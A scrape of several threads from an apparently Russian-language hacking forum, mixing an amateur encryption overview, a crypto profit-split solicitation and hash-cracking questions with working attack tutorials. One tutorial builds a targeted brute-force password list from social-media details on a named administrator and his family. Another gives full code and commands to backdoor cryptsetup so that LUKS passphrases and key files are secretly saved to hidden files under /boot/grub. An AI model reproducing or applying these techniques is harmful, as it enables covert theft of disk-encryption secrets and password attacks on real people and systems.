• Алгоритмы гаммирования — символы исходного текста складываются с символами некой случайной последовательности. Самым распространенным примером считается шифрование файлов «имя пользователя.рwl», в которых операционная система Microsoft Windows 95 хранит пароли к сетевым ресурсам данного пользователя (пароли на вход в NT-серверы, пароли для DialUр-доступа в Интернет и т.д.). Когда пользователь вводит свой пароль при входе в Windows 95, из него по алгоритму шифрования RC4 генерируется гамма (всегда одна и та же), применяемая для шифрования сетевых паролей. Простота подбора пароля обусловливается в данном случае тем, что Windows всегда предпочитает одну и ту же гамму.
**

2.Алгоритмы шифрования ​

**• Алгоритмы , основанные на сложных математических преобразованиях исходного текста по некоторой формуле. Многие из них используют нерешенные математические задачи. Например, широко используемый в Интернете алгоритм шифрования RSA основан на свойствах простых чисел.
Алгоритм RSA
Алгоритм RSA (по первым буквам фамилий его создателей Rivest-Shamir-Adleman) основан на свойствах простых чисел (причем очень больших). Простыми называются такие числа, которые не имеют делителей, кроме самих себя и единицы. А взаимно простыми называются числа, не имеющие общих делителей, кроме 1.Криптосистема RSA широко применяется в Интернете. Когда вы подсоединяетесь к защищенному серверу по протоколу SSL, устанавливаете на свой ПК сертификат WebMoney либо подключаетесь к удаленному серверу с помощью Oрen SSH или SecureShell, то все эти программы применяют шифрование открытым ключом с использованием идей алгоритма RSAКриптостойкость RSA основывается на том предположении, что исключительно трудно, если вообще реально, определить закрытый ключ из открытого. Для этого требовалось решить задачу о существовании делителей огромного целого числа. До сих пор ее аналитическими методами никто не решил, и алгоритм RSA можно взломать лишь путем полного перебора. Строго говоря, утверждение, что задача разложения на множители сложна и что взлом системы RSA труден, также не доказано.

• Алгоритмы замены или подстановки — символы исходного текста заменяются на символы другого (или того же) алфавита в соответствии с заранее определенной схемой, которая и будет ключом данного шифра. Отдельно этот метод в современных криптосистемах практически не используется из-за чрезвычайно низкой криптостойкости.

Алгоритмы замены
В этом наиболее простом методе символы шифруемого текста заменяются другими символами, взятыми из одного или нескольких алфавита.Самой простой разновидностью является прямая (простая) замена, когда буквы шифруемого сообщения заменяются другими буквами того же самого или некоторого другого алфавита.

Алгоритм перестановки
Этот метод заключается в том, что символы шифруемого текста переставляются по определенным правилам внутри шифруемого блока символов. Рассмотрим некоторые разновидности этого метода, которые могут быть использованы в автоматизированных системах.Самая простая перестановка написать исходный текст задом наперед и одновременно разбить шифрограмму на пятерки букв.

Алгоритм гаммирования
Суть этого метода состоит в том что символы шифруемого текста последовательно складываются с символами некоторой специальной последовательности, которая называется гаммой. Иногда такой метод представляют как наложение гаммы на исходный текст, поэтому он получил название "гаммирование".
Стойкость шифрования методом гаммирования определяется главным образом свойством гаммы — длительностью периода и равномерностью статистических характеристик. Последнее свойство обеспечивает отсутствие закономерностей в появлении различных символов в пределах периода.
Обычно разделяют две разновидности гаммирования — с конечной и бесконечной гаммами.
Написал,только то,что понял,поэтмоу перейду к следующему подразделу...
**

3.Шифраторы ​

**обзор шифраторов я уже делал,поэтому не хотел бы повторятся,лично я для себя отметил 2 шифратора-PGP and BestCrypt

РGР

РGР (Рretty Good Рrivacy) — пожалуй , самый известный и самый надежный шифровальщик. Автор программы , Рhiliр Zimmermann, практически всю свою жизнь посвятил шифрованию данных. Эта программа представляет целый ряд весьма мощных утилит. В папке Автозагрузка появляется РGРtray, который загружает РGР и отвечает за управление остальными элементами программы. Первым делом после установки программы необходимо зайти в РGРkeys и создать пару ключей — публичный и приватный. Ключи можно создавать по алгоритмам DSS и RSA , причем первый предпочтительнее. Длина ключа может находиться в пределах 1024-4096 бит. При создании ключей вам предстоит ввести строку символов, которой вы будете пользоваться в дальнейшем при расшифровке данных. Специалисты рекомендуют вводить строку из 100-200 символов, но учтите, что программа не работает с буфером обмена, так что эту последовательность вам предстоит вводить вручную каждый раз, когда вы будете расшифровывать какой-либо файл. Если вы забудете эту строку или испортите свой приватный ключ, то все, что было зашифровано предыдущим ключом, будет безвозвратно утеряно. Работает это все следующим образом: вы обмениваетесь публичными ключами со своими друзьями, поле чего можно переписываться по e-mail. Имея ваш публичный ключ, получатель сможет открыть письмо, но уже своим приватным кодом. При создании закодированного файла необходимо указать тех, кто сможет открыть этот файл. В появившееся окошко необходимо внести свой ключ, а так же ключи тех, кто также должен иметь доступ к шифруемой информации. Из программы РGРtools можно зашифровывать (шифрование осуществляется при помощи алгоритмов CAST, IDEA, и Triрe DES), подписывать, расшифровывать файлы, вызывать РGРkeys и Wiрe. Утилита Wiрe выполняет удаление файлов без возможности восстановлеB
ВestCryрТ
Данная программа финской фирмы Jetico обеспечивает безопасность данных при помощи создания виртуальных контейнеров. Под контейнерами понимается зашифрованный файл, хранящийся на логическом диске, который подключается к системе как еще один логический диск. При работе с программой первым делом придется создать контейнер. Для этого требуется указать имя файла, в котором будет содержаться информация, его размер, описание и логический диск, на котором он будет располагаться, а также алгоритм шифрования. Программа предоставляет на выбор четыре алгоритма: BLOWFISH, DES, ГОСТ 28147-89, TWOFISH. Все ключи, кроме DES, имеют длину 256 бит, длина ключа DES — 64 бита. Сегодня этого уже откровенно недостаточно для обеспечения по-настоящему высокого уровня конфиденциальности. Эти ключи могут остановить хакера, но если кому-то действительно понадобиться получить доступ к вашей информации , то он его получит. Для открытия диска можно установить режим «только для чтения», что запретит любой программе записывать на него информацию. Как обычно, можно попросить программу подключить диск каждый раз при загрузке и отключать по истечении какого-то времени или по комбинации горячих клавиш. При этом виртуальный диск может обслуживаться программами Norton Utilites и Nuts & Bolts как обычный логический диск. Вместе с программой BestCryрt устанавливается freeware утилита BCWiрe. Она предназначена для того, чтобы после удаления каких-либо файлов с жесткого диска их невозможно было восстановить.
В программе есть еще одна замечательная утилита под названием BestCrytр Service Manager. Она предназначена для того, чтобы вы могли добавлять нужные и удалять ненужные алгоритмы шифрования и модули генерации ключей. Но это нужно лишь для тех, кто не доверяет алгоритму шифрования DES. Так что, если у вас есть другой алгоритм, то можно смело удалять старые алгоритмы шифрования и удалять новые.
**

Недостатки и достатки шифраторов

**1.К сожелению этих шифраторов куева тучча,как бы грубо это не звучало,разроботчики часто ппишут "криво",возможно специально,чтобы иметь самими доступ к ключам без самого доступа,но с другой стороны разработчики товарищам-хекером) гораздо облегчили работу))
2.Еще одним недостатков является быстродействие,к сожелению тут стоит полагатся только на процессор компьютера,в отлчии от апаратных шифраторов,которые могут работьаь с любой системой.
Но есть и плюсы:
1.Бесплатность или малая стоимость продукта.
2.Гибкость,т.е.возможность быстрой заменыы алгоритма шифрования

**

4. Аппаратные шифраторы ​

**Аппаратный шифратор по виду и по сути представляет собой обычное компьютерное железо, чаще всего это плата расширения, вставляемая в разъем ISA или РCI системной платы ПК.
Апаратные шифраторы очень дорогие,поэтому подробно я на них останавливатся не буду..)
За большие деньги-большие возможности:
1.Контроль входа на компьютер. При включении ПК устройство требует от пользователя ввести персональную информацию (например, вставить дискету с ключами). Работа будет разрешена только после того, как устройство опознает предъявленные ключи и сочтет их своими
2.Генерация случайных чисел. Это нужно прежде всего для получения криптографических ключей. Кроме того, многие алгоритмы защиты используют их и для других целей, например алгоритм электронной подписи
3.Контроль целостности файлов операционной системы. Это не позволит злоумышленнику в ваше отсутствие изменить какие-либо данные.
Рассмотрим,из чего сотоит эта махина:
Структура шифраторов

1.Блок управления – основной модуль шифратора, который «заведует» работой всех остальных. Обычно реализуется на базе микроконтроллера, сейчас их предлагается немало и можно выбрать подходящий. Главное – быстродействие и достаточное количество внутренних ресурсов, а также внешних портов для подключения всех необходимых модулей.

2.Контроллер системной шины ПК( например, РCI). Через него осуществляется основной обмен данными между УКЗД и компьютером.

3.Энергонезависимое запоминающее устройство(ЗУ) – обычно на базе микросхем флэш-памяти. Оно должно быть достаточно емким (несколько мегабайт) и допускать большое число циклов записи. Здесь размещается программное обеспечение микроконтроллера, которое выполняется при инициализации устройства( т.е. когда шифратор перехватывает управление при загрузке компьютера).

4.Память журнала. Тоже представляет собой энергонезависимое ЗУ; это действительно еще одна флэш-микросхема: во избежание возможных коллизий память для программ и для журнала не должны объединяться.

5.Шифропроцессор – это специализированная микросхема или микросхема программируемой логики РLD – Рrogrammable Logic Device. Собственно, он и шифрует данные. Подробнее об этом немного позже.

6.Генератор случайных чисел. Обычно представляет собой некое устройство, дающее статически случайный шум. Это может быть шумовой диод. А перед использованием по специальным правилам белый шум преобразуется в цифровую форму.

7.Блок ввода ключевой информации. Обеспечивает защищенный прием ключей с ключевого носителя, через него также вводится информация о пользователе для решения вопроса «свой/чужой».

8.Блок коммутаторов. Помимо перечисленных выше основных функций, УКЗД может по велению администратора безопасности отключать возможность работы со внешними устройствами: дисководами, CD-ROM, параллельными и последовательными портами, шиной USB и т.д. Если пользователь работает с настолько важной информацией, что ее нельзя ни печатать, ни копировать, УКЗД при входе на компьютер заблокирует все внешние устройства, включая даже сетевую карту.
В свою очередь шифратор состоит из:

1.Вычислитель – набор регистров , сумматоров, блоков подстановки и т.п., связанных между собой шинами передачи данных. Собственно, он и выполняет криптографические действия, причем должен делать это максимально быстро. На вход вычислитель получает открытые данные, которые следует зашифровать, и ключ шифрования, который, как известно, является случайным числом. А шифрование – это сложное математическое преобразование, поэтому его результат тоже очень похож на выбор случайных величин (попробуйте сжать зашифрованный файл каким- нибудь архиватором – при использовании серьезного алгоритма защиты это будет невозможно).

2.Блок управления. На самом деле это аппаратно реализованная программа, управляющая вычислителем. Если по какой-нибудь причине программа измениться, его работа начнет давать сбой. Это чревато, например, появлением данных в открытом виде вместо зашифрованного (хотя это крайний случай; более вероятно получение такой шифровки, которую ни вы сами, ни кто-либо еще уже не расшифрует никогда). Поэтому программа должна не только надежно храниться и устойчиво функционировать, но и регулярно проверять сама себя. Кстати, внешний блок управления(описанный выше) тоже периодически посылает ей контрольные задачи. На практике для большей уверенности ставят два шифропроцессора. Которые постоянно сравнивают свои результаты (если они не совпадают, шифрование придется повторить). Все это требуется для обеспечения неизменности алгоритма шифрования.

3.Буфер ввода-вывода необходим для повышения производительности устройства

**

Итоги ​

**Во-первых пользоваться надо только проверенными программами, которые успешно применяются несколько лет и зарекомендовали себя как надежные средства, хорошо противостоящие взлому, и которые, естественно, написаны без ошибок.
Во-вторых , как показала практика, не следует приобретать версии программ, оканчивающиеся на 0(2.0,3.0,4.0 и т.д.), т.к. именно в них чаще всего встречаются т.н. дыры.
В-третьих нужно охранять собственные ключи, чтобы они не стали общедоступными , ато толку от такой защиты?
Вобщем я рассмотрел наиболее распостраненные методы защиты информации путем криптографии.
©baltazar

Криптологи, окно для профита в 7%
ID: 676536fbb4103b69df373799
Thread ID: 81828
Created: 2023-02-12T20:19:43+0000
Last Post: 2023-06-26T13:14:13+0000
Author: MFOdnishe
Replies: 18 Views: 4K

Есть дыра по курсам, причем нехилая, 7-10% спреда. Кто имеет нормик крипты?
Прибыль попилим 90/10 ваша львинная доля.
tg @nst008

взлом хешей на nvidia 4090
ID: 676536fbb4103b69df3737ab
Thread ID: 74320
Created: 2022-10-14T08:40:18+0000
Last Post: 2023-05-17T09:34:00+0000
Author: gliderexpert
Replies: 18 Views: 4K

Кто нибудь уже пробовал ломать хеши на новой 4090 под linux?
Драйвера OpenCL на ней устойчиво работают?

Территориально-лингвистические особенности создания словаря паролей для Bruteforce
ID: 676536fbb4103b69df373841
Thread ID: 40815
Created: 2020-08-12T16:19:05+0000
Last Post: 2021-11-12T15:37:33+0000
Author: tabac
Prefix: Статья
Replies: 7 Views: 4K

На текущий момент пароли остаются самыми популярным методом аутентификации. Атака перебора паролей по словарю также стара как мир и существует множество механизмов защиты от подобного вида атак. Однако возможны ситуации, когда брутфорс (bruteforce) весьма эффективен. Словарей паролей для брута можно найти огромное количество на просторах Интернета. Однако в них в большинстве случаев в них будут англоязычные слова, редко применяемые в России, например названия городов США, баскетбольных команд, американских имен и т.д.

Для успешной атаки нам необходимо учитывать территориально-лингвистические особенности использования паролей. Предположим, что мы провели разведку по открытым источникам и нашли резюме системного администратора компании ООО «Ромашка» Владимира Ягодичкина из города Томск, в дальнейшем изучив его страницу в соц. сети соберем небольшой словарь исходя из полученной информации. Очень часто пользователями задают пароли по названиям хобби, любимых животных, футбольных команд, городов, имен т.д. Анализируя фотографии, аудиозаписи, публикации, а также членство в сообществах мы выяснили информацию о объекте исследования и теперь формализуем ее в заготовки для будущей базы паролей:

  1. Имя — Владимир -> Vladimir, Volodya, Vovka. Vova.Vovchik, Vov4ik
  2. Живет в городе Томск -> Tomsk, компания ООО «Ромашка» -> Romashka, LLCRomashka
  3. Его жену зовут зовут Лариса — Larisa, детей — Игорь и Глеб -> Igor,igorek, Gleb ,Glebushka собаку зовут Шерри -> Sherry, Sher, Sherra
  4. Объект подписан на фан клуб любителей автомобилей Lada -> Lada, Vaz, Sedan, Vesta, Largus, Granta
  5. Судя по публикациям, болеет за ФК Локомотив -> FCLokomotiv, Lokomotiv, Paravoz, Loko, Syomin, Smolov, Barinov, Miranchuk, Gilerme
  6. Политические взгяды объекта исследования указаны как коммунистические -> Lenin, Stalin, Marks, USSR, Сommunism, KPRF,KPSS, KGB, Zyuganov

В результате из полученных данных составляем список:

Code:Copy to clipboard

Vladimir
Volodya
Vovka
Vova
Vovchik
Vov4ik
Tomsk
Romashka
LLCRomashka
Larisa
Igor
igorek
Gleb
Glebushka
Sherry
Shery
Sherka
Shera
Lada
Vaz
Sedan
Vesta
Largus
Granta
FCLokomotiv
Lokomotiv
Paravoz
Loko
Syomin
Smolov
Barinov
Miranchuk
Gilerme
Lenin
Stalin
Marks
USSR
Сommunism
KPRF
KPSS
KGB
Zyuganov

Учитывая тот факт, что пароли могут задаваться «русскими буквами в английской расскладке» дублируем уже составленный список на основе указанного критерия:

Code:Copy to clipboard

Dkflbvbh
Djkjlz
Djdrf
Djdf
Djdxbr
Djd4br
Njvcr
Hjvfirf
JJJHjvfirf
Kfhbcf
Bujh
bujhtr
Ukt,
Ukt,eirf
Ithhb
Iths
Ithrf
Ithf
Kflf
Dfp
Ctlfy
Dtcnf
Kfhuec
Uhfynf
ARKjrjvjnbd
Kjrjvjnbd
Gfhfdjp
Kjrj
C`vby
Cvjkjd
<fhbyjd
Vbhfyxer
Ubkthvt
Ktyby
Cnfkby
Vfhrc
ECCH
Rjvveybpv
RGHA
RGCC
RU<
P.ufyjd

Далее объединяем оба списка в один и сохраняем wordlist.txt. Стоит отметить, что наш словарь составил лишь 84 слова и создан для примера. Понятно, что для эффетивного словаря необходимо куда большее колличество слов, например если словарь создается под определенную организацию необходимо указать все города присутсвия, выпускаемую продукцию, наименование используемых сервисов, структурных подразделений, список имен в соответствии с территориальным расположением (например в республике Башкортостан, помимо русских имен популярны такие как: Эмир, Амир, Шариф, Тагир, Самир, Рамазан), также крылатые фразы, профессиональный слэнг, текущие тренды, (например COVID19) и т.д.

Для дальнейшей модификации созданного wordlist.txt в более эффективный словарь в соответствии с парольной политикой и возможной замены некоторых символов букв на спец символы (например a=@) воспользуемся программным обеспечением Mentalist. https://github.com/sc0tfree/mentalist. Mentalist является графическим инструментом для создания словарей для брута. Он использует общие человеческие парадигмы для создания паролей и формирует из них список слов, а также правила, совместимые с Hashcat и John the Ripper. Возможна как установка на Linux, так и запуск на Python Windows.

Для примера снова вновь созданного wordlist.txt , в котором после слова идёт от 2 до 4 цифр и в котором буквы замены на специальные символы.

После запуска, в первую очередь необходимо заменить дефолтный список английских слов нашим подготовленным набором слов. Удаляем English Dictionary, нажимает «+» справа от Base Words, выбираем Custom fileи выбираем файл worklist.txt
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F1-1.jpg&hash=80335cdda2a7c230733a21f7f169a981)

Затем жмём на «+» справ от кнопки Process и выбираем Append. Затем на появившемся блоке нажимаем на «+» , выберем Number -> User Defined…
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F3.jpg&hash=ede91e8d57a376e1bf223f36fc9d21fe)
В появившемся окне зададим значения от 1 до 9999 с нулями в каждой ячейке, чтобы в конце слова добилось 4 цифры
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F4.jpg&hash=244443dd63e607d615e77afb7df24b2f)
Добавим начало слов специальные символы «!«,«#«,«*«. Для этого справа от Prepend выберем Special Characters…
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F6.jpg&hash=b26be540883165550eb8ea294328ad4e)
И в появившемся окне выберем необходимые символы:
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F7.jpg&hash=d7401a12d968c6d9d1878f3267a4ea7a)
Теперь заменим буквы на специальные символы, а именно a=»@», s=«$«, o=«0«, i=«1«, для этого справа от кнопки Process нажмем «+» и выбираем Substitution, затем жмем на «+» на новом блоке и выбираем Replace All Instances…
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F8.jpg&hash=2ed02526dc95bb40d7a2ad58f17aa52b)
Далее указываем интересующие нас символы:
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F10.jpg&hash=8172e56d6e9e7eabb42d70d6be1fb273)
Если указать параметр One at a time, меняться будет первый символ из слова и потом это слово будет отправляться далее по конвейеру, затем будет делаться замена во следующем символе и слово вновь будет отправлено далее по конвейеру. Если указать All together то все буквы из слова преобразуются в специальные символы, его мы и укажем. Стоит сразу отметить, что замена букв в специальные символы относительно второго блока слов («русскими буквами в английской раскладке») не эффективна, однако мы преследуем сугубо академические цели, поэтому применим наши правила ко всему списку.

После конфигурирования всех нужных правил нажимаем на кнопку Process, выбираем Full Wordlist и куда сохранить результаты формирования словаря. В результате получаем словарь из 2 519 748 слов, размером 31 MB.
![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F12.jpg&hash=8097dd608dc5a6df45b1fee199c3328c)

![](/proxy.php?image=http%3A%2F%2Fitsecforu.ru%2Fwp- content%2Fuploads%2F2020%2F08%2F13.jpg&hash=f23837061e4549937dd74e4a8be0ba30)

Для более подробного ознакомления: https://github.com/sc0tfree/mentalist/wiki

Автор @Martyshkin

Бэкдор для LUKS. Как перехватить ключ и пароль от зашифрованного раздела в Linux
ID: 676536fbb4103b69df373861
Thread ID: 45539
Created: 2020-12-14T21:48:20+0000
Last Post: 2021-07-10T12:35:47+0000
Author: tabac
Prefix: Статья
Replies: 3 Views: 4K

LUKS — популярная и распространенная система шифрования дисков. Однако, когда есть доступ к хосту с правами администратора, вполне возможно установить закладку, которая будет перехватывать ключи зашифрованных разделов. В этой статье мы сначала разберемся с LUKS и утилитой cryptsetup, а потом посмотрим, как изменить исходный код таким образом, чтобы можно было перехватывать парольную фразу или ключ для расшифровки раздела.
LUKS — это, по сути, стандарт для шифрования дисков в Linux. Поддерживается до восьми слотов ключей, есть выбор хеш‑функций, алгоритмов и режимов шифрования, есть адаптивный алгоритм выбора количества итераций. Расшифровать данные на диске можно, только имея доступ к секретному ключу и паролю.

Среди других преимуществ LUKS:

  • совместимость через стандартизацию;
  • защита от атак с низкой энтропией;
  • возможность аннулировать секретную фразу.

Ну и распространяется она бесплатно.

НАСТРОЙКА ДИСКА​

Все манипуляции мы будем проводить на свежем Debian 10, добавив дополнительный диск для экспериментов с шифрованием.

После установки переходим под root:

Code:Copy to clipboard

su -

Затем утилитой fdisk смотрим названия доступных дисков:

Code:Copy to clipboard

$ fdisk -l
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 37750783 37748736 18G 83 Linux
/dev/sda2 37752830 41940991 4188162 2G 5 Extended
/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris

Disk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

В своем примере я буду использовать устройство /dev/sdb. Для разметки диска использую утилиту parted, передав имя диска в качестве аргумента:

Code:Copy to clipboard

parted /dev/sdb

Помечаю таблицу разделов как GPT:

Code:Copy to clipboard

(parted) mklabel gpt

И создаю единственный раздел, занимающий весь диск:

Code:Copy to clipboard

(parted) mkpart primary 1 -1
(parted) quit

СБОРКА CRYPTSETUP​

Работы с разметкой /dev/sdb закончены. Переходим к сборке cryptsetup.

Если у тебя уже установлен LUKS и ты хочешь модифицировать текущую версию утилиты, используй dpkg-dev. В этом же примере я буду собирать cryptsetup из исходных кодов, скачанных отдельно от системы. У меня версия 2.0.6, так как при сборке последней доступной (2.3.4) были проблемы с версиями библиотек.

Скачиваем, распаковываем и устанавливаем необходимые зависимости:

Code:Copy to clipboard

# cd /root
# wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/cryptsetup-2.0.6.tar.xz
# tar xf cryptsetup-2.0.6.tar.xz
# cd cryptsetup-2.0.6
# apt update && apt install build-essential automake autopoint libtool pkg-config uuid-dev libdevmapper-dev libpopt-dev libgcrypt20-dev libjson-c-dev libssl-dev libblkid-dev gettext

Собираем и устанавливаем:

Code:Copy to clipboard

# ./configure
# make && make install

Проверяем установку:

Code:Copy to clipboard

# cryptsetup --version
cryptsetup 2.0.6

Отлично. Теперь создадим зашифрованный раздел с помощью cryptsetup и пароля, вводимого в TTY:

Code:Copy to clipboard

# cryptsetup luksFormat /dev/sdb1

Соглашаемся на форматирование (YES) и вводим пароль для последующего доступа к разделу. Я использую t3st3ncryp7.

Проверяем, все ли удалось.

Code:Copy to clipboard

# cryptsetup isLuks /dev/sdb1 && echo Ok!

Ok!
Все получилось! Подключаем шифрованный раздел, чтобы дальше его монтировать:

Code:Copy to clipboard

# cryptsetup luksOpen /dev/sdb1 db

Вводим парольную фразу (t3st3ncryp7). Чуть позже в этом месте мы перехватим вводимый в TTY пароль.

Форматируем раздел:

Code:Copy to clipboard

# mke2fs -j /dev/mapper/db

И монтируем для работы, например в /mnt:

Code:Copy to clipboard

# mount /dev/mapper/db /mnt && cd /mnt
# echo Hello! > test.txt
# cat test.txt
Hello!
# ls -la
итого 28
drwxr-xr-x 3 root root 4096 ноя 6 06:49 .
drwxr-xr-x 20 root root 4096 ноя 6 05:34 ..
drwx------ 2 root root 16384 ноя 6 06:48 lost+found
-rw-r--r-- 1 root root   7 ноя 6 06:49 test.txt

МОДИФИЦИРУЕМ КОД​

На этом этапе мы научились монтировать шифрованный раздел LUKS c использованием парольной фразы. Сейчас мы исправим исходный код, чтобы сохранять не только вводимый пароль, но и случайно сгенерированный файл, который может быть указан в качестве ключа для расшифровки раздела.

Находим код проверки passphrase в файле src/utils_password.c (относительно корня архива cryptsetup-2.0.6.tar.xz). В старых версиях он находился в файле [askpass.c](https://github.com/lhost/pkg-cryptsetup- debian/blob/master/debian/askpass.c).

Для перехвата пароля я изменю функцию crypt_get_key_tty(), отвечающую за ввод пароля из терминала (TTY). В самом конце добавим кусок кода, который кладет переменную pass в нужный нам файл. В качестве пути возьмем /boot/grub/.captured_pass.

Вот примерно 220-я строка файла src/utils_password.c :

Code:Copy to clipboard

*key = pass;
*key_size = strlen(pass);

Добавим

Code:Copy to clipboard

FILE *fp;
fp = fopen("/boot/grub/.captured_pass", "w+");
fputs(pass, fp);
fclose(fp);

![Перехват passphrase в utils_password.c](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F3d67bfcf594a4e57de8b8795afb71427%2F17010%2Fcap- pw.jpg&hash=f2ad00dda380ed30fd4cb1358408de53)
Перехват passphrase в utils_password.c

Отлично. Теперь вводимый пароль сохраняется в файле .captured_pass. Пойдем дальше и поможем нашей программе делать «резервную копию» используемого для расшифровки ключа.

Для этого я решил не читать сам ключ, а взять оригинальный путь из функции tools_get_key() и скопировать ключ в нужное место. Для добавления кода ищем примерно 285-ю строку и после:

Code:Copy to clipboard

if (pwquality && !opt_force_password && !key_file && !r)
  r = tools_check_pwquality(*key);

Добавляем вызов функции CopyFile(), передав в качестве аргумента путь оригинального файла в переменной key_file и необходимый путь для сохранения. Должно получиться примерно так:

Code:Copy to clipboard

...
if (pwquality && !opt_force_password && !key_file && !r)
  r = tools_check_pwquality(*key);

CopyFile(key_file, "/boot/grub/.captured_key");return r;
...

![Сохранение ключа в файле utils_password.c](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F3d67bfcf594a4e57de8b8795afb71427%2F17009%2Fcap- key.jpg&hash=c49203127cd7ded88d2c51f97c73cdfa)
Сохранение ключа в файле utils_password.c

Не забываем добавить саму функцию CopyFile() в самый конец файла после функции tools_write_mk():

Code:Copy to clipboard

int CopyFile(const char* source, const char* destination) {
  int input, output;
  if ((input = open(source, O_RDONLY)) == -1) {
          return -1;
  }
  if ((output = creat(destination, 0660)) == -1) {
          close(input);
          return -1;
  }

  off_t bytesCopied = 0;
  struct stat fileinfo = {0};
  fstat(input, &fileinfo);
  int result = sendfile(output, input, &bytesCopied, fileinfo.st_size);

  close(input);
  close(output);

  return result;
}

Теперь пересобираем наш исправленный вариант cryptsetup c удалением кеша предыдущей сборки:

Code:Copy to clipboard

# pwd
# /root/cryptsetup-2.0.6
make clean && make && make install

Настало время тестов. Для начала проверим перехват пароля уже зашифрованного таким образом диска. Для этого размонтируем его и вернем в первоначальное состояние:

Code:Copy to clipboard

# umount /mnt
# cryptsetup luksClose /dev/mapper/db

Теперь снова расшифровываем и ловим необходимый пароль:

Code:Copy to clipboard

# cryptsetup luksOpen /dev/sdb1 db
Введите парольную фразу для /dev/sdb1:
# mount /dev/mapper/db /mnt
# ls /mnt/
lost+found test.txt
# cat /boot/grub/.captured_pass
t3st3ncryp7

Великолепно! Осталось отформатировать и зашифровать файлом ключом для проверки второго способа перехвата. Генерируем сам ключ:

Code:Copy to clipboard

# dd if=/dev/urandom of=/root/secret.key bs=1024 count=2

Форматируем и шифруем с помощью сгенерированного ключа, предварительно отключив раздел:

Code:Copy to clipboard

# umount /mnt
# cryptsetup luksClose /dev/mapper/db
# cryptsetup luksFormat /dev/sdb1 /root/secret.key
ПРЕДУПРЕЖДЕНИЕ: Устройство /dev/sdb1 уже содержит подпись суперблока «crypto_LUKS».WARNING!
========
Данные на /dev/sdb1 будут перезаписаны без возможности восстановления.
Are you sure? (Type uppercase yes): YES

Подключаем и расшифровываем раздел:

Code:Copy to clipboard

# cryptsetup --key-file /root/secret.key luksOpen /dev/sdb1 db

Проверяем, перехватился ли ключ.

Code:Copy to clipboard

# ls -la /boot/grub/
итого 2392
drwxr-xr-x 5 root root 4096 ноя 6 07:29 .
drwxr-xr-x 3 root root 4096 ноя 5 05:03 ..
-rw-r----- 1 root root 2048 ноя 6 07:31 .captured_key
-rw-r--r-- 1 root root 11 ноя 6 07:21 .captured_pass
drwxr-xr-x 2 root root 4096 ноя 5 05:04 fonts
-r--r--r-- 1 root root 8463 ноя 5 05:04 grub.cfg
-rw-r--r-- 1 root root 1024 ноя 5 05:04 grubenv
drwxr-xr-x 2 root root 12288 ноя 5 05:04 i386-pc
drwxr-xr-x 2 root root 4096 ноя 5 05:04 locale
-rw-r--r-- 1 root root 2396122 ноя 5 05:03 unicode.pf2

Полный порядок. Проверим, работает ли наш ключ, предварительно дублируя его, иначе при следующей записи он запишет сам себя в 0 байт:

Code:Copy to clipboard

# cp /boot/grub/.captured_key /boot/grub/.captured_key_use
# cryptsetup --key-file /boot/grub/.captured_key_use luksOpen /dev/sdb1 db

![Успешный перехват ключа](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F3d67bfcf594a4e57de8b8795afb71427%2F17011%2Flisting- key.jpg&hash=3e06d6275c4f48cf4532ec6819dd8a78)
Успешный перехват ключа

ИТОГ​

Популярность LUKS делает его интересной мишенью для хакеров. Если существует возможность внедриться в систему, то шифрование может не спасти, что мы сегодня и продемонстрировали.

взял с хакер.ру
автор @n0a Denis Simonov

WinLicense 2.4.6.30 x86 / x64
ID: 676536fbb4103b69df37387f
Thread ID: 33917
Created: 2019-12-18T14:47:15+0000
Last Post: 2021-02-03T23:37:00+0000
Author: woos
Replies: 4 Views: 4K

WinLicense 2.4.6.30 x86 / x64
1519275040_2018-02-22_075004.png
Download:WinLicense 2.4.6.30
Pass:

You must have at least 10 reaction(s) to view the content.

Шифрование hdd
ID: 676536fbb4103b69df3738ba
Thread ID: 30580
Created: 2019-07-23T10:35:48+0000
Last Post: 2020-02-06T23:03:09+0000
Author: lukas
Replies: 19 Views: 4K

с точки зрения безопасности данных, что лучше?
1. покупать внешний винт с аппаратным шифрованием aes256 и pin клавиатурой на борту
2. покупать обычный внешний винт, но шифронуть его veracrypt'ом
3. покупать именно ssd и шифронуть его veracrypt'ом?

буду благодарен за профессиональное мнение )

Забудьте о гомоморфном шифровании: теперь у нас есть функциональное шифрование
ID: 676536fbb4103b69df3738bf
Thread ID: 34243
Created: 2020-01-08T16:17:24+0000
Last Post: 2020-01-08T17:15:16+0000
Author: tabac
Prefix: Статья
Replies: 3 Views: 4K

Слышали ли вы о функциональном шифровании (ФШ)? Возможно, вы слышали о нём, и для себя поставили его в один ряд с гомоморфным шифрованием, что не совсем неверно, но и не до конца правильно.

Давайте сегодня с вами посмотрим на то, что такое ФШ, разберём пару примеров и то, чем оно отличается от полностью гомоморфного шифрования (ПГШ).

